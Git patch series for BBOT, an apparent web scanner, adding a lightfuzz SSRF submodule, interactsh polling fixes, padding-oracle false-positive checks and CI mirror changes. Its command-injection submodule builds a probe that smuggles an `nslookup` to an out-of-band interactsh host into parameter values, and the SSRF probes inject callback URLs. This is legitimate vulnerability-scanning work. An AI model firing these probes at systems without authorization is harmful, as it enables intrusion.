log.debug("ignore_bbot_global_settings enabled. Global settings will not be applied") else: http_timeout = self.parent_helper.web_config.get("http_timeout", 20) - user_agent = self.parent_helper.web_config.get("user_agent", "BBOT") + user_agent = f"{self.parent_helper.web_config.get('user_agent', 'BBOT')} {self.parent_helper.web_config.get('user_agent_suffix') or ''}".strip() if "User-Agent" not in headers: headers["User-Agent"] = user_agent diff --git a/bbot/defaults.yml b/bbot/defaults.yml index ddf0c1384d..b8c8b371c4 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -86,6 +86,8 @@ web: http_proxy: # Web user-agent user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.2151.97 + # Suffix to append to user-agent (e.g. for tracking or identification) + user_agent_suffix: # Set the maximum number of HTTP links that can be followed in a row (0 == no spidering allowed) spider_distance: 0 # Set the maximum directory depth for the web spider diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index a86a2c666c..00073301de 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -188,21 +188,12 @@ def preset_from_args(self): {"modules": {"excavate": {"custom_yara_rules": self.parsed.custom_yara_rules}}} ) - # Check if both user_agent and user_agent_suffix are set. If so combine them and merge into the config - if self.parsed.user_agent and self.parsed.user_agent_suffix: - modified_user_agent = f"{self.parsed.user_agent} {self.parsed.user_agent_suffix}" - args_preset.core.merge_custom({"web": {"user_agent": modified_user_agent}}) - - # If only user_agent_suffix is set, retrieve the existing user_agent from the merged config and append the suffix - elif self.parsed.user_agent_suffix: - existing_user_agent = args_preset.core.config.get("web", {}).get("user_agent", "") - modified_user_agent = f"{existing_user_agent} {self.parsed.user_agent_suffix}" - args_preset.core.merge_custom({"web": {"user_agent": modified_user_agent}}) - - # If only user_agent is set, merge it directly - elif self.parsed.user_agent: + if self.parsed.user_agent: args_preset.core.merge_custom({"web": {"user_agent": self.parsed.user_agent}}) + if self.parsed.user_agent_suffix: + args_preset.core.merge_custom({"web": {"user_agent_suffix": self.parsed.user_agent_suffix}}) + # CLI config options (dot-syntax) for config_arg in self.parsed.config: try: @@ -398,7 +389,9 @@ def create_parser(self, *args, **kwargs): misc.add_argument("--custom-yara-rules", "-cy", help="Add custom yara rules to excavate") misc.add_argument("--user-agent", "-ua", help="Set the user-agent for all HTTP requests") - misc.add_argument("--user-agent-suffix", "-uas", help=argparse.SUPPRESS, metavar="SUFFIX", default=None) + misc.add_argument( + "--user-agent-suffix", "-uas", help="Suffix to append to the user-agent", metavar="SUFFIX", default=None + ) return p def sanitize_args(self): diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index ae70bde7d1..5713979fb7 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -215,7 +215,9 @@ def __init__( self.httpx_timeout = self.web_config.get("httpx_timeout", 5) self.http_retries = self.web_config.get("http_retries", 1) self.httpx_retries = self.web_config.get("httpx_retries", 1) - self.useragent = self.web_config.get("user_agent", "BBOT") + self.useragent = ( + f"{self.web_config.get('user_agent', 'BBOT')} {self.web_config.get('user_agent_suffix') or ''}".strip() + ) # custom HTTP headers warning self.custom_http_headers = self.web_config.get("http_headers", {}) if self.custom_http_headers: From 74c371f54a7cfc986eb676c1f7f29842cbe60af8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 4 Mar 2026 15:19:37 -0500 Subject: [PATCH 284/912] Fix interactsh poll loop: backoff, max retries, clean shutdown --- bbot/core/helpers/interactsh.py | 21 ++++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) diff --git a/bbot/core/helpers/interactsh.py b/bbot/core/helpers/interactsh.py index 5c2eb0e526..32ff339b00 100644 --- a/bbot/core/helpers/interactsh.py +++ b/bbot/core/helpers/interactsh.py @@ -4,6 +4,7 @@ import random import asyncio import logging +import contextlib import traceback from uuid import uuid4 @@ -195,6 +196,8 @@ async def deregister(self): if self._poll_task is not None: self._poll_task.cancel() + with contextlib.suppress(asyncio.CancelledError): + await self._poll_task if "success" not in getattr(r, "text", ""): raise InteractshError(f"Failed to de-register with interactsh server {self.server}") @@ -274,16 +277,28 @@ async def poll_loop(self, callback): return await self._poll_loop(callback) async def _poll_loop(self, callback): + consecutive_failures = 0 + max_failures = 5 while 1: if self.parent_helper.scan.stopping: - await asyncio.sleep(1) - continue + break data_list = [] try: data_list = await self.poll() + consecutive_failures = 0 except InteractshError as e: - log.warning(e) + consecutive_failures += 1 + if consecutive_failures == 1: + log.warning(e) + elif consecutive_failures >= max_failures: + log.error(f"Interactsh poll failed {max_failures} consecutive times, giving up: {e}") + break + else: + log.debug(f"Interactsh poll failure #{consecutive_failures}: {e}") log.trace(traceback.format_exc()) + backoff = min(self.poll_interval * (2 ** (consecutive_failures - 1)), 300) + await asyncio.sleep(backoff) + continue if not data_list: await asyncio.sleep(self.poll_interval) continue From 34d58955a9aa6b0fb7405458706e5f4ed774c4c7 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 4 Mar 2026 16:47:58 -0500 Subject: [PATCH 285/912] Add lightfuzz SSRF submodule, generalize interactsh callback - SSRF submodule with OOB detection via interactsh (http/https/bare domain probes) - Protocol-aware severity: DNS=MODERATE, HTTP=CONFIRMED - Interactsh debug logging in poll loop and finish() --- bbot/core/helpers/interactsh.py | 8 ++ bbot/modules/lightfuzz/lightfuzz.py | 27 ++++-- bbot/modules/lightfuzz/submodules/cmdi.py | 7 +- bbot/modules/lightfuzz/submodules/ssrf.py | 47 ++++++++++ bbot/presets/web/lightfuzz-heavy.yml | 2 +- bbot/presets/web/lightfuzz-medium.yml | 2 +- bbot/presets/web/lightfuzz-superheavy.yml | 2 +- .../module_tests/test_module_lightfuzz.py | 85 +++++++++++++++++++ 8 files changed, 167 insertions(+), 13 deletions(-) create mode 100644 bbot/modules/lightfuzz/submodules/ssrf.py diff --git a/bbot/core/helpers/interactsh.py b/bbot/core/helpers/interactsh.py index 32ff339b00..1fd8cee4f9 100644 --- a/bbot/core/helpers/interactsh.py +++ b/bbot/core/helpers/interactsh.py @@ -279,8 +279,10 @@ async def poll_loop(self, callback): async def _poll_loop(self, callback): consecutive_failures = 0 max_failures = 5 + log.debug(f"Starting interactsh poll loop (interval={self.poll_interval}s, server={self.server})") while 1: if self.parent_helper.scan.stopping: + log.debug("Stopping interactsh poll loop (scan is stopping)") break data_list = [] try: @@ -297,13 +299,19 @@ async def _poll_loop(self, callback): log.debug(f"Interactsh poll failure #{consecutive_failures}: {e}") log.trace(traceback.format_exc()) backoff = min(self.poll_interval * (2 ** (consecutive_failures - 1)), 300) + log.debug(f"Interactsh backing off for {backoff}s after failure #{consecutive_failures}") await asyncio.sleep(backoff) continue if not data_list: + log.debug(f"Interactsh poll returned no interactions, sleeping {self.poll_interval}s") await asyncio.sleep(self.poll_interval) continue + log.debug(f"Interactsh poll returned {len(data_list)} interaction(s)") for data in data_list: if data: + protocol = data.get("protocol", "unknown") + full_id = data.get("full-id", "unknown") + log.debug(f"Interactsh interaction: protocol={protocol}, full-id={full_id}") await self.parent_helper.execute_sync_or_async(callback, data) def _decrypt(self, aes_key, data): diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index d6e684f42a..32ffdc9d2e 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -11,7 +11,7 @@ class lightfuzz(BaseModule): options = { "force_common_headers": False, - "enabled_submodules": ["sqli", "cmdi", "xss", "path", "ssti", "crypto", "serial", "esi"], + "enabled_submodules": ["sqli", "cmdi", "xss", "path", "ssti", "crypto", "serial", "esi", "ssrf"], "disable_post": False, "try_post_as_get": False, "try_get_as_post": False, @@ -80,15 +80,22 @@ async def interactsh_callback(self, r): details = self.interactsh_subdomain_tags.get(full_id.split(".")[0]) if not details["event"]: return - # currently, this is only used by the cmdi submodule. Later, when other modules use it, we will need to store description data in the interactsh_subdomain_tags dictionary + protocol = r.get("protocol", "dns").lower() + severity = details.get("severity", "HIGH") + confidence = details.get("confidence", "CONFIRMED") + # Allow submodules to specify alternative severity/confidence for DNS-only interactions + if protocol == "dns": + severity = details.get("severity_dns", severity) + confidence = details.get("confidence_dns", confidence) + description = f"{details['description']} Interaction Protocol: [{protocol}]" await self.emit_event( { - "severity": "CRITICAL", - "confidence": "CONFIRMED", + "severity": severity, + "confidence": confidence, "host": str(details["event"].host), "url": details["event"].data["url"], - "name": "Lightfuzz - OS Command Injection", - "description": f"OS Command Injection (OOB Interaction) Type: [{details['type']}] Parameter Name: [{details['name']}] Probe: [{details['probe']}]", + "name": f"Lightfuzz - {details['name']}", + "description": description, }, "FINDING", details["event"], @@ -197,9 +204,15 @@ async def cleanup(self): async def finish(self): if self.interactsh_instance: + self.debug("finish(): sleeping 5s before final interactsh poll") await self.helpers.sleep(5) try: - for r in await self.interactsh_instance.poll(): + results = await self.interactsh_instance.poll() + self.debug(f"finish(): interactsh poll returned {len(results)} interaction(s)") + for r in results: + protocol = r.get("protocol", "unknown") + full_id = r.get("full-id", "unknown") + self.debug(f"finish(): interactsh interaction: protocol={protocol}, full-id={full_id}") await self.interactsh_callback(r) except InteractshError as e: self.debug(f"Error in interact.sh: {e}") diff --git a/bbot/modules/lightfuzz/submodules/cmdi.py b/bbot/modules/lightfuzz/submodules/cmdi.py index c253d24323..b9bd13198a 100644 --- a/bbot/modules/lightfuzz/submodules/cmdi.py +++ b/bbot/modules/lightfuzz/submodules/cmdi.py @@ -89,9 +89,10 @@ async def fuzz(self): subdomain_tag = self.lightfuzz.helpers.rand_string(4, digits=False) self.lightfuzz.interactsh_subdomain_tags[subdomain_tag] = { "event": self.event, - "type": self.event.data["type"], - "name": self.event.data["name"], - "probe": p, + "name": "OS Command Injection", + "description": f"OS Command Injection (OOB Interaction) Type: [{self.event.data['type']}] Parameter Name: [{self.event.data['name']}] Probe: [{p}]", + "severity": "CRITICAL", + "confidence": "CONFIRMED", } # payload is an nslookup command that includes the interactsh domain prepended the previously generated subdomain tag interactsh_probe = f"{p} nslookup {subdomain_tag}.{self.lightfuzz.interactsh_domain} {p}" diff --git a/bbot/modules/lightfuzz/submodules/ssrf.py b/bbot/modules/lightfuzz/submodules/ssrf.py new file mode 100644 index 0000000000..b24f3dd501 --- /dev/null +++ b/bbot/modules/lightfuzz/submodules/ssrf.py @@ -0,0 +1,47 @@ +from .base import BaseLightfuzz + + +class ssrf(BaseLightfuzz): + """ + Detects Server-Side Request Forgery (SSRF) vulnerabilities. + + Techniques: + + * OOB (Out-of-Band) Detection: + - Injects URLs pointing to an Interactsh server as parameter values + - Tries multiple URL schemes (http://, https://) + - Detects SSRF through DNS/HTTP interaction callbacks via Interactsh + """ + + friendly_name = "Server-Side Request Forgery" + uses_interactsh = True + + async def fuzz(self): + if not self.lightfuzz.interactsh_instance: + return + + cookies = self.event.data.get("assigned_cookies", {}) + # Try with explicit schemes and bare domain (for cases where the server prepends the scheme) + prefixes = ["http://", "https://", ""] + + for prefix in prefixes: + subdomain_tag = self.lightfuzz.helpers.rand_string(4, digits=False) + interactsh_url = f"{prefix}{subdomain_tag}.{self.lightfuzz.interactsh_domain}" + probe_label = prefix if prefix else "no scheme" + + self.lightfuzz.interactsh_subdomain_tags[subdomain_tag] = { + "event": self.event, + "name": "Server-Side Request Forgery", + "description": f"Server-Side Request Forgery (OOB Interaction) Type: [{self.event.data['type']}] Parameter Name: [{self.event.data['name']}] Probe: [{probe_label}]", + "severity": "HIGH", + "confidence": "CONFIRMED", + "severity_dns": "HIGH", + "confidence_dns": "MODERATE", + } + + await self.standard_probe( + self.event.data["type"], + cookies, + interactsh_url, + timeout=15, + ) diff --git a/bbot/presets/web/lightfuzz-heavy.yml b/bbot/presets/web/lightfuzz-heavy.yml index ba2d7ff8f6..e9b5c06931 100644 --- a/bbot/presets/web/lightfuzz-heavy.yml +++ b/bbot/presets/web/lightfuzz-heavy.yml @@ -12,7 +12,7 @@ modules: config: modules: lightfuzz: - enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi] + enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf] disable_post: False try_post_as_get: True try_get_as_post: True diff --git a/bbot/presets/web/lightfuzz-medium.yml b/bbot/presets/web/lightfuzz-medium.yml index df714ee722..710376517c 100644 --- a/bbot/presets/web/lightfuzz-medium.yml +++ b/bbot/presets/web/lightfuzz-medium.yml @@ -11,5 +11,5 @@ modules: config: modules: lightfuzz: - enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi] + enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf] try_post_as_get: True diff --git a/bbot/presets/web/lightfuzz-superheavy.yml b/bbot/presets/web/lightfuzz-superheavy.yml index f05389d2c1..300b1880d1 100644 --- a/bbot/presets/web/lightfuzz-superheavy.yml +++ b/bbot/presets/web/lightfuzz-superheavy.yml @@ -8,7 +8,7 @@ config: modules: lightfuzz: force_common_headers: True # Fuzz common headers like X-Forwarded-For even if they're not observed on the target - enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi] + enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf] avoid_wafs: False excavate: speculate_params: True # speculate potential parameters extracted from JSON/XML web responses diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 0eebfe5d4f..ccf27aac65 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1465,6 +1465,91 @@ def check(self, module_test, events): assert cmdi_interacttsh_finding_emitted, "interactsh CMDi FINDING not emitted" +# SSRF interactsh +class Test_Lightfuzz_ssrf(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["httpx", "lightfuzz", "excavate"] + + @staticmethod + def extract_subdomain_tag(data): + # Try both URL-encoded and non-encoded forms + for pattern in [ + r"url=https?%3A%2F%2F(.+?)\.fakedomain\.fakeinteractsh\.com", + r"url=https?://(.+?)\.fakedomain\.fakeinteractsh\.com", + ]: + match = re.search(pattern, data) + if match: + return match.group(1) + + config_overrides = { + "interactsh_disable": False, + "modules": { + "lightfuzz": { + "enabled_submodules": ["ssrf"], + } + }, + } + + def request_handler(self, request): + qs = str(request.query_string.decode()) + + parameter_block = """ + + """ + + if "url=" in qs: + subdomain_tag = self.extract_subdomain_tag(request.full_path) + + if subdomain_tag: + self.interactsh_mock_instance.mock_interaction(subdomain_tag) + return Response(parameter_block, status=200) + + async def setup_before_prep(self, module_test): + self.interactsh_mock_instance = module_test.mock_interactsh("lightfuzz") + + module_test.monkeypatch.setattr( + module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance + ) + + async def setup_after_prep(self, module_test): + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + web_parameter_emitted = False + ssrf_dns_finding_emitted = False + ssrf_http_finding_emitted = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [url]" in e.data["description"]: + web_parameter_emitted = True + + if e.type == "FINDING": + if ( + "Server-Side Request Forgery (OOB Interaction) Type: [GETPARAM] Parameter Name: [url]" + in e.data["description"] + ): + if "Interaction Protocol: [dns]" in e.data["description"]: + ssrf_dns_finding_emitted = True + assert e.data["confidence"] == "MODERATE", ( + f"DNS SSRF should be MODERATE, got {e.data['confidence']}" + ) + elif "Interaction Protocol: [http]" in e.data["description"]: + ssrf_http_finding_emitted = True + assert e.data["confidence"] == "CONFIRMED", ( + f"HTTP SSRF should be CONFIRMED, got {e.data['confidence']}" + ) + + assert web_parameter_emitted, "WEB_PARAMETER was not emitted" + assert ssrf_dns_finding_emitted, "interactsh SSRF DNS FINDING not emitted" + assert ssrf_http_finding_emitted, "interactsh SSRF HTTP FINDING not emitted" + + class Test_Lightfuzz_speculative(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] modules_overrides = ["httpx", "excavate", "paramminer_getparams", "lightfuzz"] From 2e397d9f4f2a90e8a9e566b0b416ea4e8d0f33fe Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 4 Mar 2026 18:56:34 -0500 Subject: [PATCH 286/912] Reduce padding oracle false positives in lightfuzz crypto module --- bbot/defaults.yml | 1 + bbot/modules/lightfuzz/submodules/crypto.py | 31 ++++++++++++++++++++- 2 files changed, 31 insertions(+), 1 deletion(-) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index ddf0c1384d..d13157299f 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -262,6 +262,7 @@ parameter_blacklist: parameter_blacklist_prefixes: - TS01 - BIGipServer + - f5avr - incap_ - visid_incap_ - AWSALB diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 2a8d4cea31..4a01b23283 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -83,6 +83,22 @@ def compiled_rules(self): _compiled_rules_cache = self.lightfuzz.helpers.yara.compile_strings(self.crypto_error_strings, nocase=True) return _compiled_rules_cache + @staticmethod + def is_plausible_base64_crypto(s): + """ + Check if a string is plausibly base64-encoded cryptographic data. + Non-standard encodings like F5 BIG-IP's A-P nibble encoding use a narrow + consecutive character range that technically round-trips as base64 but is + not actual base64. Real base64 of encrypted/random bytes spans a wide + character range (typically 70+). + """ + unique_chars = set(s) - set("=") + if len(s) >= 16 and unique_chars: + char_ords = [ord(c) for c in unique_chars] + if max(char_ords) - min(char_ords) <= 20: + return False + return True + @staticmethod def format_agnostic_decode(input_string, urldecode=False): """ @@ -101,7 +117,7 @@ def format_agnostic_decode(input_string, urldecode=False): if BaseLightfuzz.is_hex(input_string): data = bytes.fromhex(input_string) encoding = "hex" - elif BaseLightfuzz.is_base64(input_string): + elif BaseLightfuzz.is_base64(input_string) and crypto.is_plausible_base64_crypto(input_string): data = base64.b64decode(input_string) encoding = "base64" else: @@ -300,6 +316,19 @@ async def padding_oracle(self, probe_value, cookies): ) if padding_oracle_result is True: + # Confirmation round: re-run to rule out jitter-based false positives + self.debug(f"Initial padding oracle detection for block_size={block_size}, running confirmation round") + confirmation_result = await self.padding_oracle_execute(data, encoding, block_size, cookies) + if confirmation_result is None: + confirmation_result = await self.padding_oracle_execute( + data, encoding, block_size, cookies, possible_first_byte=False + ) + if confirmation_result is not True: + self.debug( + f"Confirmation round failed for block_size={block_size} - likely jitter false positive, suppressing" + ) + continue + context = f"Lightfuzz Cryptographic Probe Submodule detected a probable padding oracle vulnerability after manipulating parameter: [{self.event.data['name']}]" self.results.append( { From 6935a6420336dca0cd19fe8d0c06c5a91f935fa9 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 4 Mar 2026 19:35:17 -0500 Subject: [PATCH 287/912] Add tests for narrow-charset rejection and jitter confirmation round --- .../module_tests/test_module_lightfuzz.py | 131 ++++++++++++++++++ 1 file changed, 131 insertions(+) diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 0eebfe5d4f..83fdc26eb1 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1829,6 +1829,137 @@ def check(self, module_test, events): ) +class Test_Lightfuzz_PaddingOracleDetection_NarrowCharset(ModuleTestBase): + """Parameters with values that use a narrow consecutive character set (e.g. only A-P) + round-trip as valid base64 but are not actual cryptographic data. + The narrow charset check should reject these, preventing false findings.""" + + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["httpx", "excavate", "lightfuzz"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": { + "enabled_submodules": ["crypto"], + } + }, + } + + # A-P only value: valid base64 round-trip, but narrow charset (span=15) + narrow_charset_value = "BPIDFOPFGNLIBNFGAEPBMIIKPHEFGOJKOMACMBJJLOPKFIGMKALJDBHCMAMHIKIMDOFDHIBAHEJBIIGMIDKANCMFGJAIEKLPCLFDMELEAGBILMHLAPFKNNBAMPPNDEEP" + + def request_handler(self, request): + return Response("

Welcome

", status=200) + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests_handler(expect_args=re.compile(".*"), request_handler=self.request_handler) + + parent_event = module_test.scan.make_event( + "http://127.0.0.1:8888/", + "URL", + module_test.scan.root_event, + module="httpx", + tags=["status-200", "distance-0"], + ) + + data = { + "host": "127.0.0.1", + "type": "COOKIE", + "name": "custom_session_cookie", + "original_value": self.narrow_charset_value, + "url": "http://127.0.0.1:8888/", + "description": "Test narrow charset cookie", + } + seed_event = module_test.scan.make_event(data, "WEB_PARAMETER", parent_event, tags=["distance-0"]) + await module_test.scan.ingress_module.incoming_event_queue.put(seed_event) + + def check(self, module_test, events): + crypto_finding = False + padding_oracle_finding = False + for e in events: + if e.type == "FINDING": + if "Cryptographic Parameter" in e.data["description"]: + crypto_finding = True + if "Padding Oracle" in e.data["description"]: + padding_oracle_finding = True + + assert not crypto_finding, "Narrow-charset parameter should NOT be identified as cryptographic" + assert not padding_oracle_finding, "Narrow-charset parameter should NOT trigger padding oracle detection" + + +class Test_Lightfuzz_PaddingOracleDetection_Jitter(Test_Lightfuzz_PaddingOracleDetection): + """Padding oracle negative test: the server produces inconsistent responses across rounds. + The first round may trigger detection, but the confirmation round should fail, + suppressing the jitter-based false positive.""" + + oracle_request_count = 0 + + def request_handler(self, request): + encrypted_value = quote( + "dplyorsu8VUriMW/8DqVDU6kRwL/FDk3Q+4GXVGZbo0CTh9YX1YvzZZJrYe4cHxvAICyliYtp1im4fWoOa54Zg==" + ) + default_html_response = f""" + + +
+ + +
+ + + """ + + if "/decrypt" in request.url and request.method == "POST": + if request.form and request.form["encrypted_data"]: + encrypted_data = request.form["encrypted_data"] + + if "4GXVGZbo0DTh9YX1YvzZZJrYe4cHxvAICyliYtp1im4fWoOa54Zg" in encrypted_data: + response_content = "DIFFERENT CRYPTOGRAPHIC ERROR" + elif encrypted_data.startswith("AAAAAAAAAAAAAAAA"): + Test_Lightfuzz_PaddingOracleDetection_Jitter.oracle_request_count += 1 + # First 254 requests (round 1): produce oracle-like signal (1 differ) + if Test_Lightfuzz_PaddingOracleDetection_Jitter.oracle_request_count <= 254: + try: + decoded = base64.b64decode(encrypted_data) + if len(decoded) >= 32: + varying_byte = decoded[31] + if varying_byte == 100: + response_content = "Padding error detected" + else: + response_content = "Decryption failed" + else: + response_content = "Decryption failed" + except Exception: + response_content = "Decryption failed" + else: + # Confirmation round: all responses identical (no oracle signal) + response_content = "Decryption failed" + elif "AAAAAAA" in encrypted_data: + response_content = "YET DIFFERENT CRYPTOGRAPHIC ERROR" + else: + response_content = "Decryption failed" + + return Response(response_content, status=200) + else: + return Response(default_html_response, status=200) + + def check(self, module_test, events): + web_parameter_extracted = False + padding_oracle_detected = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [encrypted_data] (POST Form" in e.data["description"]: + web_parameter_extracted = True + if e.type == "FINDING": + if "Padding Oracle" in e.data["description"]: + padding_oracle_detected = True + + assert web_parameter_extracted, "Web parameter was not extracted" + assert not padding_oracle_detected, ( + "Padding oracle should NOT be detected when confirmation round fails (jitter false positive)" + ) + + class Test_Lightfuzz_XSS_jsquotecontext(ModuleTestBase): targets = ["http://127.0.0.1:8888"] modules_overrides = ["httpx", "lightfuzz", "excavate", "paramminer_getparams"] From f313b6902c03b2aa16a707920ce2771e0e45cc51 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 4 Mar 2026 19:50:29 -0500 Subject: [PATCH 288/912] Fix Parrot CI failures by using official mirror directly The director.parrot.sh load balancer consistently routes GitHub Actions runners to mirror.clarkson.edu, which has stale packages returning 404s. --- .github/workflows/distro_tests.yml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.github/workflows/distro_tests.yml b/.github/workflows/distro_tests.yml index 63faa46391..9710cba0b5 100644 --- a/.github/workflows/distro_tests.yml +++ b/.github/workflows/distro_tests.yml @@ -23,6 +23,10 @@ jobs: . /etc/os-release if [ "$ID" = "ubuntu" ] || [ "$ID" = "debian" ] || [ "$ID" = "kali" ] || [ "$ID" = "parrotsec" ]; then export DEBIAN_FRONTEND=noninteractive + # Use official Parrot mirror directly to avoid stale third-party mirrors + if [ "$ID" = "parrotsec" ]; then + echo "deb https://deb.parrot.sh/parrot echo main contrib non-free non-free-firmware" > /etc/apt/sources.list.d/parrot.list + fi apt-get update apt-get -y install curl git bash build-essential docker.io libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev elif [ "$ID" = "alpine" ]; then From 236b02f363a4e1ccdfe75d7f31fba40805a2ebb1 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 4 Mar 2026 19:56:59 -0500 Subject: [PATCH 289/912] Use MIT mirror for Parrot CI instead of broken redirector --- .github/workflows/distro_tests.yml | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/.github/workflows/distro_tests.yml b/.github/workflows/distro_tests.yml index 9710cba0b5..8fea7d1e86 100644 --- a/.github/workflows/distro_tests.yml +++ b/.github/workflows/distro_tests.yml @@ -23,9 +23,12 @@ jobs: . /etc/os-release if [ "$ID" = "ubuntu" ] || [ "$ID" = "debian" ] || [ "$ID" = "kali" ] || [ "$ID" = "parrotsec" ]; then export DEBIAN_FRONTEND=noninteractive - # Use official Parrot mirror directly to avoid stale third-party mirrors + # Pin Parrot to MIT mirror to avoid stale third-party mirrors (e.g. mirror.clarkson.edu) + # deb.parrot.sh is a redirector that still routes to broken mirrors, so we use a known-good direct mirror if [ "$ID" = "parrotsec" ]; then - echo "deb https://deb.parrot.sh/parrot echo main contrib non-free non-free-firmware" > /etc/apt/sources.list.d/parrot.list + echo "deb https://mirrors.mit.edu/parrot/ echo main contrib non-free non-free-firmware" > /etc/apt/sources.list.d/parrot.list + echo "deb https://mirrors.mit.edu/parrot/ echo-security main contrib non-free non-free-firmware" >> /etc/apt/sources.list.d/parrot.list + echo "deb https://mirrors.mit.edu/parrot/ echo-backports main contrib non-free non-free-firmware" >> /etc/apt/sources.list.d/parrot.list fi apt-get update apt-get -y install curl git bash build-essential docker.io libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev From 8576715e66df16263f1f164df6db2796e4bbc094 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 4 Mar 2026 20:01:40 -0500 Subject: [PATCH 290/912] Clear all existing Parrot sources before setting MIT mirror --- .github/workflows/distro_tests.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/distro_tests.yml b/.github/workflows/distro_tests.yml index 8fea7d1e86..fefc4cc532 100644 --- a/.github/workflows/distro_tests.yml +++ b/.github/workflows/distro_tests.yml @@ -24,8 +24,8 @@ jobs: if [ "$ID" = "ubuntu" ] || [ "$ID" = "debian" ] || [ "$ID" = "kali" ] || [ "$ID" = "parrotsec" ]; then export DEBIAN_FRONTEND=noninteractive # Pin Parrot to MIT mirror to avoid stale third-party mirrors (e.g. mirror.clarkson.edu) - # deb.parrot.sh is a redirector that still routes to broken mirrors, so we use a known-good direct mirror if [ "$ID" = "parrotsec" ]; then + rm -f /etc/apt/sources.list /etc/apt/sources.list.d/*.list /etc/apt/sources.list.d/*.sources echo "deb https://mirrors.mit.edu/parrot/ echo main contrib non-free non-free-firmware" > /etc/apt/sources.list.d/parrot.list echo "deb https://mirrors.mit.edu/parrot/ echo-security main contrib non-free non-free-firmware" >> /etc/apt/sources.list.d/parrot.list echo "deb https://mirrors.mit.edu/parrot/ echo-backports main contrib non-free non-free-firmware" >> /etc/apt/sources.list.d/parrot.list From 01d8e906883774a1e35a003980e0939701f4f914 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 4 Mar 2026 20:41:10 -0500 Subject: [PATCH 291/912] Detect Parrot via parrot.list, not ID (image reports ID=debian) --- .github/workflows/distro_tests.yml | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/.github/workflows/distro_tests.yml b/.github/workflows/distro_tests.yml index fefc4cc532..4b3599dd94 100644 --- a/.github/workflows/distro_tests.yml +++ b/.github/workflows/distro_tests.yml @@ -24,8 +24,9 @@ jobs: if [ "$ID" = "ubuntu" ] || [ "$ID" = "debian" ] || [ "$ID" = "kali" ] || [ "$ID" = "parrotsec" ]; then export DEBIAN_FRONTEND=noninteractive # Pin Parrot to MIT mirror to avoid stale third-party mirrors (e.g. mirror.clarkson.edu) - if [ "$ID" = "parrotsec" ]; then - rm -f /etc/apt/sources.list /etc/apt/sources.list.d/*.list /etc/apt/sources.list.d/*.sources + # Note: parrotsec/security image reports ID=debian, so we detect via parrot.list + if [ -f /etc/apt/sources.list.d/parrot.list ]; then + rm -f /etc/apt/sources.list /etc/apt/sources.list.old /etc/apt/sources.list.d/*.list /etc/apt/sources.list.d/*.sources echo "deb https://mirrors.mit.edu/parrot/ echo main contrib non-free non-free-firmware" > /etc/apt/sources.list.d/parrot.list echo "deb https://mirrors.mit.edu/parrot/ echo-security main contrib non-free non-free-firmware" >> /etc/apt/sources.list.d/parrot.list echo "deb https://mirrors.mit.edu/parrot/ echo-backports main contrib non-free non-free-firmware" >> /etc/apt/sources.list.d/parrot.list 